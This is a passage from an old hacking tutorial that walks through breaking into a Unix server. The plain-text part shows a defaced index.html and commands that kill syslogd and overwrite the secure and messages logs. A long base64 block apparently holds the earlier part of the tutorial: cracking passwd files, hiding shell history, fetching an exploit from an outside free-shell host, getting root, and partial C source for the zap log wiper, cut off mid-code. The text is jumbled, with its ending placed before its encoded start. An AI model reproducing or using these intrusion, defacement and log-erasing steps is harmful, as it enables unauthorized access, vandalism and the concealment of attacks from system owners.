Make sure to read /etc/syslog.conf and /etc/login.defs to see how the system is logging. Ok.Now you may explore the system however you want.Don't do stupid things like deleting files or crashing the system, and be carefull. It is not advisable to change the site if the server you hacked does have one.However, if you want to do something like that here is an example... target#pico /usr/local/apache/htdocs/index.html The main file of the website can be edited now. Here is an example of a hacked index.html file... --------------------start_of_file---------------------- Site hacked by...Ulyss3s
Ulyss3s proudly presents...

hiz l8est hacking!

bash 2.04#whoami

root

bash 2.04#

/* Thiz tellz pretty much,huh?Yeah,security wasn't so gr8...

Greetingz to all my friendz- Luciffer, Moon|Lord, Slaughter, Amorphis, and otherz */
  --------------End_of_file------------------ Ctrl+x,save the changes and VOILA! You're done! Whenever someone types in his browser's adress/location: http://www.target.com the edited page will appear. ====================================================================== A few things to remember: /etc/services (the ports file) /etc/inetd.conf /etc/group -This is the group file. This allows the superuser to give certain accounts group access to groups other than their own Entries are in the format: group name:password:group number:users in this group /dev/console -This is the device file for the system console, or the system's main terminal. /usr/adm/sulog /usr/adm/loginlog or /usr/adm/acct/sum/loginlog /usr/mail/ /dev/null /usr/lib /usr/spool/cron. crontab in the directory /usr/lib contains entries for system tasks that must be performed on a periodic basis. The format for the entries in this file is: minute hour dayofmonth monthofyear dayofweek commandstring 1 * * * /bin/sync This runs sync command, which is kept in the directory bin, at 1 am every day. Commands in the file /usr/lib/crontab are performed with root privileges. /usr/spool/crontabs, you will find files named after system accounts. These files contain cron entries which are the same as those in the file /usr/lib/crontab, but are carried out under the id of the user the file is named after. The entries are in the same format. All cron activity is logged in the file /usr/adm/cronlog. A)killall -9 syslogd klogd B)copy secure.1 and messages.1 from /var/log over secure and messages C)uname -a, w, last -10, cat /etc/passwd /etc/inetd.conf D)pico inetd.conf(ports&daemons) /root/.profile ====================================================================== I think this was a nice .Hopefully you enjoyed it and will have your own sometime. Happy hacking! ====================================================================== Huge greetings and thanks to: Invisible Evil - Your hack kit inspired me a lot. The Mentor - Your contain the essence and the filosophy of hacking. My friends: Luciffer, Moon|Lord, LifeTime, etc. Finished: 08.XII.2000 Merry Xmas and a Happy New Year! ICAgICAgICAgICAgICAgICAgICAgID0iQSBXQUxLIElOIFRIRSBQQVJLIiA9IA0KICAgICAgICAg ICAgICAgICAgICAgID0gPSA9ID0gPSA9ID0gPSA9ID0gPSA9DQogICAgICAgICAgICAgICAgICAg ICAgPSBXcml0dGVuIGJ5OlVseXNzM3MgID0gDQogICAgICAgICAgICAgICAgICAgICAgPSA9ID0g PSA9ID0gPSA9ID0gPSA9ID0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0K DQogRGlzY2xhaW1lcjoNCg0KIEkgZG8gbm90IGVuY291cmFnZSBhbnkga2luZCBvZiBpbGxlZ2Fs IGFjdGl2aXRpZXMhIA0KIFRoaXMgdGV4dCBhbmRcb3IgYW55dGhpbmcgaW4gdGhpcyBkb2N1bWVu dCB3YXMgbWFkZSBmb3IgZWR1Y2F0aW9uYWwgcHVycG9zZXMgb25seSENCiBJIGFtIG5vdCByZXNw b25zYWJsZSBmb3IgYW55dGhpbmcgdGhhdCBpcyBkb25lIHdpdGggdGhpcyBpbmZvcm1hdGlvbiEN Cg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PQ0KDQogSW4gdGhpcyBtYXRlcmlhbCB3ZSdsbCBzaGFwZSBhIHNjZW5h cmlvIGFib3V0IGJyZWFraW5nIGludG8gYSBjb21wdXRlciBzeXN0ZW0gc29tZXdoZXJlIG9uIHRo ZSBJbnRlcm5ldC5Bbnkgc2ltaWxhcml0eSB0byBhIGNlcnRhaW4gc2l0dWF0aW9uIGlzIHB1cmUg ZmljdGlvbi4NCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogSW4gb3JkZXIgdG8gYnJlYWsgYSBzZWN1cml0 eSBzeXN0ZW0sIG9uZSBoYXMgdG8gdXNlIGEgY2VydGFpbiBpbnRydXNzaW9uIG1ldGhvZC4gVXN1 YWxseSB0aGUgYXRhY2tzIGFyZSBub3QgdmVyeSAiaGlnaC10ZWNoIiBkdWUgdG8gdGhlIGZhY3Qg dGhhdCB0aGUgcnVpbmVkIHN5c3RlbXMgYXJlIG1pcy1jb25maWd1cmVkIG9yIHVucGF0Y2hlZC4N CiBIZXJlIGlzIGEgbGlzdCBvZiBjb21tb24gc3lzdGVtIGludHJ1c2lvbiBtZXRob2RzOg0KDQoj IERlZmF1bHQgYWNjb3VudHMvTnVsbCBwYXNzd29yZHMNCiMgVXNlcm5hbWUvUGFzc3dvcmQgc2Ft ZQ0KIyByc2ggb3IgcG9vciBhdXRoZW50aWNhdGlvbiBtZWNoYW5pc20NCiMgcmxvZ2luDQojIEFu b255bW91cyBGVFAgbWlzLWNvbmZpZ3VyZWQNCiMgRmluZ2VyIA0KIyBXV1cgU2VydmVyDQojIFNN VFANCiMgU2FtYmENCiMgUGFzc3dvcmQgU25pZmZpbmcgKHRoZSBtb3N0IHBvd2VyZnVsIG9uZSEp DQoNCiBIb3dldmVyIGlmIHNvbWVvbmUgZ3JhYnMgdGhlIHBhc3N3b3JkIGZpbGUgc3RvcmVkIG9u IGEgc3lzdGVtIGhpcyBtaXNzaW9uIGlzIGFzIGVhc3kgYXMgMSwgMiwgMy4uLg0KIEFsbCBoZS9z aGUgaGFzIHRvIGRvIGlzIHRvIHJ1biBhIHByb2dyYW0gbGlrZSBDcmFja2VySmFjayBvciBiZXR0 ZXIsIEpvaG4gVGhlIFJpcHBlciBmb3IgdGhpcyBwYXNzd29yZCBmaWxlIGFuZCB0aGUgcmVzdCBp cyBwaWVjZSBvZiBjYWtlLklmIHRoZSBwYXNzd29yZHMgYXJlbid0IHRvbyBoYXJkIHRvIGJlIGNy YWNrZWQsIHRoZW4gdGhlIGRpY3Rpb25hcnkgdGhlIHR3byBwcm9ncmFtcyBtZW50aW9uZWQgYWJv dmUgYXJlIGRpc3RyaWJ1dGVkIHdpdGgsIHNob3VsZCBiZSBlbm91Z2guIE90aGVyd2lzZSB5b3Ug bWF5IGZpbmQgd29yZCBsaXN0cyBmb3IgdGhlIGRpY3Rpb25hcnkgYXQgaHR0cDovL3d3dy5oYWNr ZXJzY2x1Yi5jb20NCiBBIGNvbW1vbiBwYXNzd29yZCBmaWxlIGZyb20gYSB1bml4L2xpbnV4IE9T IGxvb2tzIGxpa2UgdGhpczoNCg0Kcm9vdDpSMHJtYzZseFZ3aTVJOjA6MDpyb290Oi9yb290Oi9i aW4vYmFzaA0KYmluOio6MToxOmJpbjovYmluOg0KZGFlbW9uOio6MjoyOmRhZW1vbjovc2JpbjoN CmFkbToqOjM6NDphZG06L3Zhci9hZG06DQpscDoqOjQ6NzpscDovdmFyL3Nwb29sL2xwZDoNCnN5 bmM6Kjo1OjA6c3luYzovc2JpbjovYmluL3N5bmMNCnNodXRkb3duOio6NjowOnNodXRkb3duOi9z YmluOi9zYmluL3NodXRkb3duDQpoYWx0Oio6NzowOmhhbHQ6L3NiaW46L3NiaW4vaGFsdA0KbWFp bDoqOjg6MTI6bWFpbDovdmFyL3Nwb29sL21haWw6DQpuZXdzOio6OToxMzpuZXdzOi91c3IvbGli L25ld3M6DQp1dWNwOio6MTA6MTQ6dXVjcDovdmFyL3Nwb29sL3V1Y3BwdWJsaWM6DQpvcGVyYXRv cjoqOjExOjA6b3BlcmF0b3I6L3Jvb3Q6L2Jpbi9iYXNoDQpnYW1lczoqOjEyOjEwMDpnYW1lczov dXNyL2dhbWVzOg0KbWFuOio6MTM6MTU6bWFuOi91c3IvbWFuOg0KcG9zdG1hc3RlcjoqOjE0OjEy OnBvc3RtYXN0ZXI6L3Zhci9zcG9vbC9tYWlsOi9iaW4vYmFzaA0Kbm9ib2R5Oio6LTI6MTAwOm5v Ym9keTovZGV2L251bGw6DQpmdHA6Kjo0MDQ6MTo6L2hvbWUvZnRwOi9iaW4vYmFzaA0KZ3Vlc3Q6 Kjo0MDU6MTAwOmd1ZXN0Oi9kZXYvbnVsbDovZGV2L251bGwNCmJoaWx0b246TGtqTGlXeTA4eElX WTo1MDE6MTAwOkJvYiBIaWx0b246L2hvbWUvYmhpbHRvbjovYmluL2Jhc2gNCndlYjpLbjBkNEhK UGZSU29NOjUwMjoxMDA6V2ViIE1hc3RlcjovaG9tZS93ZWI6L2Jpbi9iYXNoDQptYXJ5OkVhdURM QS9QVC9IUWc6NTAzOjEwMDpNYXJ5IEMuIEhpbHRvbjovaG9tZS9tYXJ5Oi9iaW4vYmFzaA0KDQpX aGF0J3MgdGhhdCBhbGwgYWJvdXQ/SW4gY2FzZSB5b3UgZGlkbid0IGtub3cgaGVyZSBpcyB0aGUg ZXhwbGFpbmF0aW9uOg0KDQptYXJ5OkVhdURMQS9QVC9IUWc6NTAzOjEwMDpNYXJ5IEMuIEhpbHRv bjovaG9tZS9tYXJ5Oi9iaW4vYmFzaA0KMSAgIDoyICAgICAgICAgICAgOjMgIDo0ICA6NSAgICAg ICAgICAgICA6NiAgICAgICAgIDo3DQoNCjE9dXNlcm5hbWUgMj1lbmNyeXB0ZWQgcGFzc3dvcmQg Mz11c2VyIG51bWJlciA0PWdyb29wIGlkIDU9cmVhbCBuYW1lDQo2PWhvbWUgZGlyZWN0b3J5IDc9 c2hlbGwNCg0KIEEgaGFja2VyIHdpbGwgYWx3YXlzIHdhbnQgdG8gb2J0YWluIHRoZSBST09UIHNo ZWxsLlRoaXMgbWVhbnMgaGF2aW5nIG1hc3RlciBwcml2aWxlZGdlcyBvdmVyIHRoYXQgcGFydGlj dWxhciBzeXN0ZW0uDQogTm93YWRheXMgcGFzc3dkIGZpbGVzIGFyZW4ndCBlbm91Z2ggZm9yIGhh Y2tlcnMuVGhlIHBhc3N3b3JkcyBhcmUgc2hhZG93ZWQgYW5kIHRoZSBlbmNyaXB0ZWQgb25lcyBh cmUgc3RvcmVkIGluIGFub3RoZXIgZmlsZSBjYWxsZWQgdGhlIFNoYWRvdyBmaWxlLiBJdCBpcyBz dG9yZWQgaW4gL2V0Yy9zaGFkb3cgb24gdW5peCBzeXN0ZW1zLg0KIFNvLCBhZnRlciB5b3UgPGNy YWNrZWQ+IHRoZSBwYXNzd29yZCBmaWxlIHlvdSBzaG91bGQgaGF2ZSBhdCBsZWFzdCBvbmUgYWNj b3VudCBvbiB0aGUgdGFyZ2V0IHN5c3RlbS4gVGhpcyBzaG91bGQgYmUgZW5vdWdoIGluIG9yZGVy IHRvIGhhY2sgZm9yIHJlYWwgdGhlIGVudGlyZSBzeXN0ZW0uIEEgaGFja2VyJ3MgbGlmZSBpcyBl YXN5IHRoYW5rcyB0byB0aGUgbWFueSBleHBsb2l0cyBmb3VuZCBieSBkZWRpY2F0ZWQgcHJvZ3Jh bW1lcnMuRXhwbG9pdHMgYXJlIHByb2dyYW1zIHdyaXR0ZW4gdXN1YWxseSBpbiBDIG9yIFNoICgg U2hlbGwgcHJvZ3JhbW1pbmcpIHRoYXQgPGV4cGxvaXQ+IGJ1Z3MgaW4gdGhlIHNlY3VyaXR5LiBB IGdvb2QgYWR2aWNlIGlzIHRoYXQgZXhwbG9pdHMgc2hvdWxkIGJlIHVzZWQgT05MWSB0byBnZXQg dGhlIHJvb3QgYWNjb3VudHMsIG90aGVyd2lzZSBzbWFydCBhZG1pbmlzdHJhdG9ycyBtYXkgbm90 aWNlIHlvdXIgcHJlc2VuY2UuIFRoZXJlIGFyZSBhbGwga2luZCBvZiBidWdzIGluIGFsbCBzeXN0 ZW1zOiBpdCBtaWdodCBiZSBhIGdhbWUgaW5zdGFsbGVkIG9uIHRoZSBzeXN0ZW0sIG9yIGV2ZW4g dGhlIHNlbmRtYWlsIHByb2dyYW0uDQogU28gdGhlIG9ubHkgdGhpbmcgeW91IHNob3VsZCBoYXZl IGlzIG9uZSBhY2NvdW50IG9uIGEgbWFjaGluZSBhbmQgeW91IGNhbiBiZXQgc29vbmVyIG9yIGxh dGVyIHRoYXQgbWFjaGluZSB3aWxsIGJlIGNvbXByb21pc2VkLg0KIEV4cGxvaXRzIGFyZSBjb21w aWxlZCBhbmQgdGhlbiBleGVjdXRlZC4NCiBUaGUgY29tcGlsaW5nIGNvbW1hbmQgaXM6DQokIGNj IC1vIHByb2dyYW0gcHJvZ3JhbS5jDQpvciANCiRnY2MgcHJvZ3JhbS5jIC1vIHByb2dyYW0NCiBU aGUgZXhlY3V0aW5nIGNvbW1hbmQgaXMgDQokcHJvZ3JhbQ0Kb3IgYmV0dGVyDQokIC4vcHJvZ3Jh bQ0KRm9yIGEgU2hlbGwgcHJvZ3JhbSB0aGUgZXhlY3V0aW9uIGNvbW1hbmQgaXMNCiQgc2ggcHJv Z3JhbS5zaA0KIEluIHRoZSBmb2xsb3dpbmcgc2Vzc2lvbiBleGFtcGxlIEkgc3VwcG9zZSB0aGF0 IHlvdSBoYXZlIGdvdCBzb21laG93IGFuIGFjY291bnQgb24gYSBzZXJ2ZXIuDQogRm9yIGxvZ2lu IHlvdSBzaG91bGQgdXNlIGVpdGhlciBhIFNTSCBjbGluZXQgKFNlY3VyZSBTaGVsbCB0aGF0IHNl bmRzIHRoZSBpbmZvcm1hdGlvbiBlbmNyaXB0ZWQpIG9yIFRlbG5ldC5XZSdsbCB1c2UgdGVsbmV0 Lg0KIFRlbG5ldCBpcyBhIGNvbW1hbmQgdGhhdCB5b3UgY2FuIHVzZSBmcm9tIGEgc2hlbGwgYWNj b3VudCwgb3IgZnJvbSBhbiBleGUgZmlsZSAodGVsbmV0LmV4ZSkgZnJvbSBXaW5kb3dzLCBPUy8y LCBXaW5kb3dzIDk1IGFuZCBvdGhlciBvcGVyYXRpbmcgc3lzdGVtcyB0aGF0IHdpbGwgbGV0IHlv dSBjb25uZWN0IHRvIGFub3RoZXIgbWFjaGluZSBvbiB0aGUgbmV0Lg0KIFlvdSBjYW4gdXNlIHRl bG5ldCBpZiB5b3Uga25vdyB0aGUgSVAgYWRkcmVzcyBvciB0aGUgaG9zdCBuYW1lIHlvdSB3YW50 IHRvIGNvbm5lY3Qgb3IgbG9naW4gdG8uICAgIA0KIEl0IGxvb2tzIGxpa2UgdGhpczoNCg0KVGVs bmV0IHRhcmdldC5jb20gIG9yICB0ZWxuZXQgMjA2LjE0Ni40My41Ng0KVHJ5aW5nIC4uLi4uDQoN CkNvbm5lY3RlZCB0byB0YXJnZXQuY29tDQpSZWQgSGF0IDIuMQ0KS2VybmVsIDEuMi4xMyBvbiBh IGk1ODYNCih0YXJnZXQuY29tKSAodHR5cDApDQoNCmxvZ2luOnVzZXJuYW1lDQpwYXNzd29yZDoq KioqKioqDQoNCmJhc2gkDQpUaGUgbGFzdCB0aGluZyBpcyB5b3VyIHByb21wdC4gSXQgbWF5IGxv b2sgZGlmZmVyZW50IGJ1dCB1c3VhbGx5IGl0J3MgdGhlIHNhbWUgdGhpbmcuIEhvd2V2ZXIgaWYg eW91IGhhdmUgYSAjIHByb21wdCB0aGVuLCBndWVzcyB3aGF0Li4ueW91IG1heSBmb3JnZXQgYWJv dXQgaGFja2luZyBiZWNhdXNlIHlvdSBhcmUgUk9PVC4NCiBGaXJzdCB3ZSBtYWtlIHN1cmUgd2Ug bGVhdmUgbm8gdHJhY2VzIGluIHRoZSBzaGVsbCwgdW5zZXR0aW5nIHRoZSAuYmFzaF9oaXN0b3J5 IGZpbGUNCg0KYmFzaCQgdW5zZXQgSElTVEZJTEUNCmJhc2gkDQoNCk9rLCB0aGF0J3MgZG9uZS5O ZXh0IHdlJ2xsIHNlZSB3aGF0IGtpbmQgb2YgT1MgaXMgaW5zdGFsbGVkIG9uIHRoZSBzeXN0ZW0u SW4gb3VyIGNhc2UgdGhlcmUgaXMgbm8gbmVlZCB0byBkbyB0aGF0IGJlY2F1c2UgYXQgdGhlIGxv Z2luIHByb21wdCB3ZSBub3RpY2UgUmVkSGF0IDIuMSBUaGF0IGlzIGJlYXV0aWZ1bGwgYmVjYXVz ZSBMaW51eCBpcyBhbG1vc3QgOTklIHZ1bG5lcmFibGUuSG93ZXZlciBpZiB0aGVyZSBpcyBubyBj bHVlIHRvIHRoZSBPUyBhdCB0aGUgbG9naW4gcHJvbXB0IHRoZW4gYWZ0ZXIgbG9naW4gd2UgdHlw ZToNCg0KYmFzaCQgdW5hbWUgLWENClRoaXMgc2hvdWxkIHNob3cgdXMgdGhlIE9TLiBOb3cgdGhh dCB5b3UgZm91bmQgb3V0IHRoZSBPUyBydW5uaW5nIG9uIHRoZSBzZXJ2ZXIsIHNlYXJjaCBmb3Ig dGhlIHJpZ2h0IGV4cGxvaXQgYXQgdGhlIGZvbGxvd2luZyBVUkwnczoNCmh0dHA6Ly9oYWNrLmNv LnphDQpodHRwOi8vd3d3LnJvb3RzaGVsbC5jb20NCmh0dHA6Ly93d3cucGFja2V0c3Rvcm0uc2Vj dXJpZnkuY29tDQpZb3Ugc2hvdWxkIGZpbmQgdGhlIGxhdGVzdCBleHBsb2l0cyBhdmFpbGFibGUg Zm9yIGFueSBraW5kIG9mIE9TLg0KRG93bmxvYWQgdGhlIGV4cGxvaXQsIHRyYW5zZmVyIGl0IHZp YSBGVFAgdG8gYSBmcmVlIHNoZWxsKGUuZy4gYXQgbmV0aGVyLm5ldCBvciBob2JiaXRvbi5vcmcp IGJlY2F1c2UgaWYgeW91ciBwcmVzZW5jZSB3aWxsIGJlIG5vdGljZWQgc29tZWhvdyB0aGUgb25s eSB0cmFjZXMgdGhhdCB3aWxsIGFwcGVhciBhcmUgZnJvbSB0aGUgZnJlZSBzaGVsbCBub3QgZnJv bSB5b3VyIHJlYWwgaG9zdC5BbHNvIGZpbmQgcHJvZ3JhbXMgbGlrZSBaYXAgYW5kIFV0bXBtYW4g d2hpY2ggaGVscCB5b3UgY2xlYW5pbmcgeW91ciB0cmFja3MuVGhlbiBmcm9tIHRoZSBhY2NvdW50 IG9uIHRoZSB0YXJnZXQuY29tIG1hY2hpbmUgZG8gdGhlIGZvbGxvd2luZzoNCg0KYmFzaCQgZnRw DQpmdHA+b3BlbiBuZXRoZXIubmV0KG9yIGhvYmJpdG9uLm9yZykNCkNvbm5lY3RlZCB0byBuZXRo ZXIubmV0DQpXZWxjb21lIHRvIG5ldGhlci5uZXQhDQpMb2dpbjp1c2VybmFtZQ0KUGFzc3dvcmQ6 KioqKioqDQpVc2VyIFggbG9nZ2VkIGluLg0KWD5tZ2V0IGV4cGxvaXQuYyAob3IgZXhwbG9pdC5z aCkgemFwLmMgdXRtcG1hbi5wbA0KMjMwIGNvbW1hbmQgc3VjY2Vzc2Z1bA0Kc29tZSB0ZXh0IGhl cmUNClRyYW5zZmVyIGNvbXBsZXRlLg0KWD5jbG9zZQ0KR29vZGJ5ZS4NCmZ0cD5ieWUNCmJhc2gk DQpOb3cgeW91IGhhdmUgdHJhbnNmZXJlZCB0aGUgZXhwbG9pdCBvbiB0YXJnZXQuY29tIG1hY2hp bmUuTGV0J3Mgc2VlLi4uDQpiYXNoJCBscyAtYWwNCnRvdGFsIDc5NA0KZHJ3eHJ3eHJ3dCAgIDQg cm9vdCAgICAgcm9vdCAgICAgICAgIDgxOTIgSmFuIDI1IDIzOjA1IC4NCmRyd3hyLXhyLXggIDIy IHJvb3QgICAgIHJvb3QgICAgICAgICAxMDI0IERlYyAyOCAxODowNyAuLg0KLXJ3LXItLXItLSAg IDEgYmVycnkgICAgdXNlcnMgICAgICAgICAgIDYgSmFuIDI1IDIzOjA1IC5waW5ldGVtcC4wMDAN Ci1yd3hyLXhyLXggICAyIGJlcnJ5ICAgIHVzZXJzICAgICAgICAxMDI0IEphbiAyNSAyMzowNSBl eHBsb2l0LmMob3Igc2gpDQotcnd4ci14ci14ICAgMiBiZXJyeSAgICB1c2VycyAgICAgICAgMTAy NCBKYW4gMjUgMjM6MDUgemFwLmMNCi1yd3hyLXhyLXggICAyIGJlcnJ5ICAgIHVzZXJzICAgICAg ICAxMDI0IEphbiAyNSAyMzowNiB1dG1wbWFuLnBsDQotcnd4LS0tLS0tICAgMSB3b29kICAgICB1 c2VycyAgICAgICAgICAgMSBKYW4gMjUgMTg6MjggMTkwNjdoYWENCi1ydy1yLS1yLS0gICAxIGJl cnJ5ICAgIG1haWwgICAgICAgICAgICAxIEphbiAxNiAxMjozOCBmaWx0ZXIuMTQ0MjgNCi1ydy0t LS0tLS0gICAxIHJoZXkxOSAgIHJvb3QgICAgICAgMzk1NDQ3IEphbiAyNCAwMjo1OSBwb3AzYTEz NTk4DQotcnctLS0tLS0tICAgMSByaGV5MTkgICByb290ICAgICAgIDM5NTQ0NyBKYW4gMjQgMDM6 MDAgcG9wM2ExMzYwMA0KZHJ3eHIteHIteCAgIDQgcm9vdCAgICAgcm9vdCAgICAgICAgIDEwMjQg SmFuIDEyIDEzOjE4IHNjcmVlbnMNCg0KT2ssIGV4cGxvaXQuYyBpcyB0aGVyZS5MZXQncyBjb21w aWxlIGl0Lg0KDQpiYXNoJCBnY2MgZXhwbG9pdC5jIC1vIGV4cGxvaXQNClRoaXMgd291bGQgZ2l2 ZSBtZSBhIGZpbGUgdGhhdCB3b3VsZCBleGUsIGNhbGxlZCBleHBsb2l0Lg0KTm93LCBmaW5hbGx5 IHNvbWUgcmVhbCBhY3Rpb246IGhhY2tpbmcgdGhlIHJvb3QgYWNjb3VudC4NCg0KYmFzaCQgLi9l eHBsb2l0DQpvcg0KYmFzaCQgc2ggZXhwbG9pdC5zaA0KU3VpZHBlcmwgNS4wMDUwMyAoYW5kIG5l d2VyKSByb290IGV4cGxvaXQNCndyaXR0ZW4gYnk6YXV0aG9yDQpDaGVja3MgcGFzc2VkLCBjb21w aWxpbmcgZmxhcmVzIGFuZCBoZWxwZXIgYXBwbGljYXRpb25zLi4uDQpTZXR0aW5nIHVwIGVudmly b25tZW50Li4uDQpTdGFydGluZyBleHBsb2l0LiBJdCBjb3VsZCB0YWtlIHVwIHRvIDUgbWludXRl cyBpbiBvcmRlciB0byBnZXQNCndvcmtpbmcgcm9vdCBzaGVsbC4gV0FSTklORyAtIFdBUk5JTkcg LSBXQVJOSU5HOiBpdCBjb3VsZCBjYXVzZQ0KaGVhdnkgc3lzdGVtIGxvYWQuDQpWT0lMQSwgQkFC RSA6LSkgRW50ZXJpbmcgcm9vdHNoZWxsLi4uDQooV2hhdGV2ZXIuLi50aGlzIHRleHQgY291bGQg YmUgYW55dGhpbmcgKQ0KVGhlIHByb21wdCBzaG91bGQgbm93IGxvb2sgbGlrZSB0aGUgZm9sbG93 aW5nOg0KDQp0YXJnZXQjDQpMZXQncyBzZWUgd2hhdCBkb2VzIHRoaXMgbWVhbi4uLg0KdGFyZ2V0 IyB3aG9hbWkNCnJvb3QNCllvdSBhcmUgcm9vdCBpbmRlZWQuVGhhdCB3YXMgZWFzeSwgYmVsaWV2 ZSBtZS5UaGUgaGFyZCBwYXJ0IGp1c3Qgc3RhcnRzOmNsZWFuaW5nIHlvdXIgdHJhY2tzLlRoZSB3 aG9sZSBwb2ludCBvZiB0aGlzIGhhY2tpbmcgc3R1ZmYgaXMgdGhhdCB5b3UgY29udGludWUgdG8g aGF2ZSBhY2Nlc3MgdG8gYXMgbWFueSBwb2ludHMgb2YgaW5mb3JtYXRpb24gYXMgcG9zc2libGUu ICBJZiB5b3UgZG8gc3R1cGlkIHRoaW5ncywgb3IgZmFpbCBqdXN0IG9uY2UgdG8gY2xlYW4geW91 ciB1dG1wIG9yIHd0bXAsIHhmZXJsb2cncywgZXRjIC4uLiB5b3UgY2FuIGxvb3NlIGFjY2VzcyB0 byB0aGUNCnN5c3RlbS4gIE1ha2UgeW91cnNlbGYgYSByZWd1bGFyIG9yZGVyIHRvIGZvbGxvdyBh bmQgbGVhcm4gZWFjaCBzeXN0ZW0gd2VsbCENCkxldCdzIHNlZSB3aG8gaXMgbG9nZ2VkIG9uIHRo ZSBzeXN0ZW0NCnRhcmdldCN3DQo1OjM2YW0gIHVwIDE4IGRheXMsICA4OjIzLCAgMSB1c2VyLCAg bG9hZCBhdmVyYWdlOiAwLjAxLCAwLjAwLCAwLjAwDQpVc2VyICAgICB0dHkgICAgICAgbG9naW5A ICBpZGxlICAgSkNQVSAgIFBDUFUgIHdoYXQNCnJvb3QgICAgIHR0eXAxICAgICA1OjM1YW0gICAg ICAgICAgICAgICAgICAgICAgdw0KDQpXZWxsLCBpdCBzZWVtcyB3ZSBoYXZlIHRvIG1ha2Ugb3Vy c2VsdmVzIGludmlzaWJsZS4uLg0KdGFyZ2V0IyBnY2MgemFwLmMgLW8gemFwDQp0YXJnZXQjIHph cCB5b3VyX3VzZXJuYW1lX2hlcmUNClphcCENCnRhcmdldCN3DQo1OjM3YW0gIHVwIDE4IGRheXMs ICA4OjI0LCAgMCB1c2VycywgIGxvYWQgYXZlcmFnZTogMC4wOCwgMC4wMiwgMC4wMQ0KVXNlciAg ICAgdHR5ICAgICAgIGxvZ2luQCAgaWRsZSAgIEpDUFUgICBQQ1BVICB3aGF0DQoNCkNhbiB5b3Ug c2VlIHRoZSByb290IGxvZ2luIG5vdz8gWW91IGJldCB5b3UgY2FuJ3QhDQpIZXJlIGlzIHRoZSBz b3VyY2UtY29kZSBmb3IgemFwLmMNCg0KejIuYw0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t IGN1dCBoZXJlDQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNp bmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxzeXMvZmlsZS5oPg0KI2luY2x1ZGUgPGZjbnRs Lmg+DQojaW5jbHVkZSA8dXRtcC5oPg0KI2luY2x1ZGUgPHB3ZC5oPg0KI2luY2x1ZGUgPGxhc3Rs b2cuaD4NCiNkZWZpbmUgV1RNUF9OQU1FICIvdXNyL2FkbS93dG1wIg0KI2RlZmluZSBVVE1QX05B TUUgIi9ldGMvdXRtcCINCiNkZWZpbmUgTEFTVExPR19OQU1FICIvdXNyL2FkbS9sYXN0bG9nIg0K IA0KaW50IGY7DQogDQp2b2lkIGtpbGxfdXRtcCh3aG8pDQpjaGFyICp3aG87DQp7DQogICAgc3Ry dWN0IHV0bXAgdXRtcF9lbnQ7DQogDQogIGlmICgoZj1vcGVuKFVUTVBfTkFNRSxPX1JEV1IpKT49 MCkgew0KICAgICB3aGlsZShyZWFkIChmLCAmdXRtcF9lbnQsIHNpemVvZiAodXRtcF9lbnQpKT4g MCApDQogICAgICAgaWYgKCFzdHJuY21wKHV0bXBfZW50LnV0X25hbWUsd2hvLHN0cmxlbih3aG8p KSkgew0KICAgICAgICAgICAgICAgICBiemVybygoY2hhciAqKSZ1dG1wX2VudCxzaXplb2YoIHV0 bXBfZW50ICkpOw0KICAgICAgICAgICAgICAgICBsc2VlayAoZiwgLShzaXplb2YgKHV0bXBfZW50 KSksIFNFRUtfQ1VSKTsNCiAgICAgICAgICAgICAgICAgd3JpdGUgKGYsICZ1dG1wX2VudCwgc2l6 ZW9mICh1dG1wX2VudCkpOw0KICAgICAgICAgICAgfQ0KICAgICBjbG9zZShmKTsNCiAgfQ0KfQ0K IA0Kdm9pZCBraWxsX3d0bXAod2hvKQ0KY2hhciAqd2hvOw0Kew0KICAgIHN0cnVjdCB1dG1wIHV0 bXBfZW50Ow0KICAgIGxvbmcgcG9zOw0KIA0KICAgIHBvcyA9IDFMOw0KICAgIGlmICgoZj1vcGVu KFdUTVBfTkFNRSxPX1JEV1IpKT49MCkgew0KIA0KICAgICB3aGlsZShwb3MgIT0gLTFMKSB7DQog ICAgICAgIGxzZWVrKGYsLShsb25nKSggKHNpemVvZihzdHJ1Y3QgdXRtcCkpICogcG9zKSxMX1hU TkQpOw0KICAgICAgICBpZiAocmVhZCAoZiwgJnV0bXBfZW50LCBzaXplb2YgKHN0cnVjdCB1dG1w KSk8MCkgew0KICAgICAgICAgIHBvcyA9IC0xTDsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAg ICBpZiAoIXN0cm5jbXAodXRtcF9lbnQudXRfbmFtZSx3aG8sc3RybGVuKHdobykpKSB7DQogICAg ICAgICAgICAgICBiemVybygoY2hhciAqKSZ1dG1wX2VudCxzaXplb2Yoc3RydWN0IHV0bXAgKSk7 DQogICAgICAgICAgICAgICBsc2VlayhmLC0oIChzaXplb2Yoc3RydWN0IHV0bXApKSAqIHBvcyks TF9YVE5EKTsNCiAgICAgICAgICAgICAgIHdyaXRlIChmLCAmdXRtcF9lbnQsIHNpemVvZiAodXRt cF9lbnQpKTsNCiAgICAgICAgICAgICAgIHBvcyA9IC0xTDsNCiAgICAgICAgICB9IGVsc2UgcG9z ICs9IDFMOw0KICAgICAgICB9DQogICAgIH0NCiAgICAgY2xvc2UoZik7DQogIH0NCn0NCiANCnZv aWQga2lsbF9sYXN0bG9nKHdobykNCmNoYXIgKndobzsNCnsNCiAgICBzdHJ1Y3QgcGFzc3dkICpw d2Q7DQogICAgc3RydWN0IGxhc3Rsb2cgbmV3bGw7DQogDQogICAgIGlmICgocHdkPWdldHB3bmFt KHdobykpIT1OVUxMKSB7DQogDQogICAgICAgIGlmICgoZj1vcGVuKExBU1RMT0dfTkFNRSwgT19S RFdSKSkgPj0gMCkgew0KICAgICAgICAgICAgbHNlZWsoZiwgKGxvbmcpcHdkLT5wd191aWQgKiBz aXplb2YgKHN0cnVjdCBsYXN0bG9nKSwgMCk7DQogICAgICAgICAgICBiemVybygoY2hhciAqKSZu ZXdsbCxzaXplb2YoIG5ld2xsICkpOw0KICAgICAgICAgICAgd3JpdGUoZiwgKGNoYXIgKikmbmV3 